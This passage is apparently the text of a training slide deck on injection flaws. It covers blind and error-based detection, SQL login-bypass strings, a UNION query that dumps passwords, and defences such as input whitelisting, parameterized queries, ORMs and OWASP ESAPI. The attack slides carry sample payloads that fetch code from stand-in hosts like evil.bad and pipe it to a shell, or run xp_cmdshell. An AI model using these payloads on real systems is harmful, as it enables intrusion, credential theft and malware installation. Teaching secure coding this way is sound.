  • 30. Blind Injection • Error is not displayed or the error message is too generic "An internal error has occurred" • You may observe a difference in the behavior of the application
  • 31. Error vs. No Error • The application will show an "Internal Error" for a unenclosed quote " • There will be no error if an enclosing quote is added, two quotes "" $ /bin/sh -c '~/backup.sh test".zip' /bin/sh: -c: line 0: unexpected EOF while looking for matching `"' /bin/sh: -c: line 1: syntax error: unexpected end of file $ /bin/sh -c '~/backup.sh test"".zip' yay
  • 32. Tautology • Influence the logic of a query to be always true or always false then compare the outcome SELECT * FROM users WHERE id = 1 --returns one record id = 1 or 1=1 --returns all records (always true) id = 1 and 2=1 --returns no records (always false)
  • 33. The ET Maneuver • Especially in the case of OS injection you could add commands that "call home" • Some examples: input';ping home.bad -c 1;echo ' input';curl home.bad; echo '
  • 34. Burp Collaborator gives you a home • Pro version of Burp creates dynamic host names and reports on DNS queries and HTTP requests • Be careful what you send there $ /bin/sh -c '~/backup.sh test`curl nofq92nxlhqs01t4rgwz5j84bvhl5a.bur pcollaborator.net`.zip' % Total % Received % Xferd Average
  • 35. Glass Box Stacktrace:] with root cause ERROR 42X01: Syntax error: Encountered "'" at line 1, column 49. at org.apache.derby.iapi.error.StandardExce ption.newException(Unknown Source) at org.apache.derby.iapi.error.StandardExce ption.newException(Unknown Source) at org.apache.derby.impl.sql.compile.Parser Impl.parseStatementOrSearchCondition(Unk nown Source) at org.apache.derby.impl.sql.compile.Parser Impl.parseStatement(Unknown Source) at org.apache.derby.impl.sql.GenericStateme nt.prepMinion(Unknown Source) • Access to the application or server logs (you're a developer or tester) • Tail the log and observe the errors that occur when inserting quotes
  • 36. Other symbols •LDAP Injection : ( ) | & •NoSQL Injection: , $where { } ( ) •SQL Injection: ; = •Command Injection: ; & | $ ( )
  • 37. Using Automated Tools Dynamic Analysis tools • numerous payloads intended to influence application behavior • OWASP ZAP Static Analysis tools • analyze the call graph in the application code to determine insecure coding
  • 38. To sum all it up… •Unenclosed quotes break the command/query •Look for errors •Look for behavior changes •Call home •Look for errors in logs •Use automated tools such as OWASP ZAP
  • 40. The Magic Credentials •User names that get you logged into the administrator account: •admin'-- •admin' or '1'='1 • ' or '1'='1
  • 41. The UNION keyword In the case of SQL Injection the UNION command is used to append results from a sensitive table to the impacted query. SELECT articleId, title, description FROM transactions WHERE userId=15125 UNION SELECT 1, username, password FROM users articleId title description 2 "About Us" "This is the about page" 3 "Home" "This is the home page" 1 admin @dm!n 1 jdoe p@$$w0rd
  • 42. Deploy Malware Command Injection, but also SQL Injection are used to deploy malware and reverse shells • ping host.local`curl http://evil.bad/malware.sh|/bin/sh` • SELECT * FROM users; EXEC xp_cmdshell 'powershell -command Invoke-RestMethod - Uri http://evil.bad/malware>malware.bat'
  • 43. To sum all it up… •Injection can be exploited in powerful ways •Break authentication •Exfiltrate data •Install reverse shells and malware •Full impact of Confidentiality, Integrity and Availability
  • 44. DEMO
  • 46.
  • 47. Quotes Not Needed • Majority of application parameters are not intended to contain quotes • Many of them are not even intended to contain Unicode characters • Parameters going into database queries such as ID, true/false, asc/desc have even a smaller character set Alphanumeric Alphanumeric + .-_
  • 48. Whitelisting vs. Blacklisting •Blacklisting can be bypassed • Encoding attacks • Forgotten types of quotes • Injection without quotes • Remember the how many times Shellshock was fixed?
  • 49.
  • 50. Unicode Validation • One of the common misconceptions against whitelisting: multi-language support • Most programming languages even regular expressions (p) will classify other language characters correctly Character.isLetter("人") == true Character.isLetter("û") == true
  • 52. A Simple Multi-Purpose Function isAlphanumOrEx("true") isAlphanumOrEx("desc") isAlphanumOrEx("21845816438168") isAlphanumOrEx("0x0709750fa566") isAlphanumOrEx("Cr2i7nHq6qiMEs") isAlphanumOrEx("site.local",'.')
  • 53. The Proper Response to an Injection Attack • Error conditions can be used to detect injection but this error is what you always want to see in response to hazardous characters BAD REQUEST: INVALID INPUT - MUST BE ALPHANUMERIC
  • 54. Amount of vulnerabilities inversely proportional with amount of Input Whitelisting
  • 55. Attacks Prevented by Whitelisting •Injection •Path Traversal •Cross-Site Scripting •Open Redirect •Deserialization …
  • 56. How About the Irish? •Names, comments, articles, free text require quotes: •O'Brien, don't, "putting things in quotes" •While input whitelisting reduces the attack surface, it cannot prevent all attacks
  • 57. CONCATENATION Command Constant Parameter 1 Input Parameter 2 Input Command Interpreter
  • 59.
  • 61.
  • 63.
  • 65. ORM Frameworks • ORM = Object Relational Mapping • ORM Frameworks keep developers away from SQL Queries • Popular ORM Framework: Hibernate Command Constant Parameter 1 Input Parameter 2 Input Command Interpreter Object Field1 Input Field2 Input
  • 66. OWASP ESAPI • ESAPI – The Enterprise Security API • Open Source Library containing security controls • Written and tested by application security experts • Recognized by static analysis tools
  • 67. Using Automated Tools Intrusion Detection and Prevention (IDS/IPS) / Web Application Firewall (WAS) • automated blacklisting rules • can be bypassed • can alert Runtime Analysis (RASP) • instrument the application • can detect the exploit and block it
  • 68. To sum all it up… •Input Whitelisting reduces the attack surface and prevents many attack types •Parameterized Commands handle situations where hazardous chars are needed •ORM Frameworks prevent mistakes •OWASP ESAPI provides a set of handy security functions •IDS/IPS/WAF/RASP can alert and prevent some of the attacks but not a replacement for secure coding.
  • 69. Test Your Knowledge and get a Badge • https://owasp.trendmicro.com • SQL Injection Challenge •Play code: In' or '1'='1' or 'jection • Get a participation badge via Badgr.io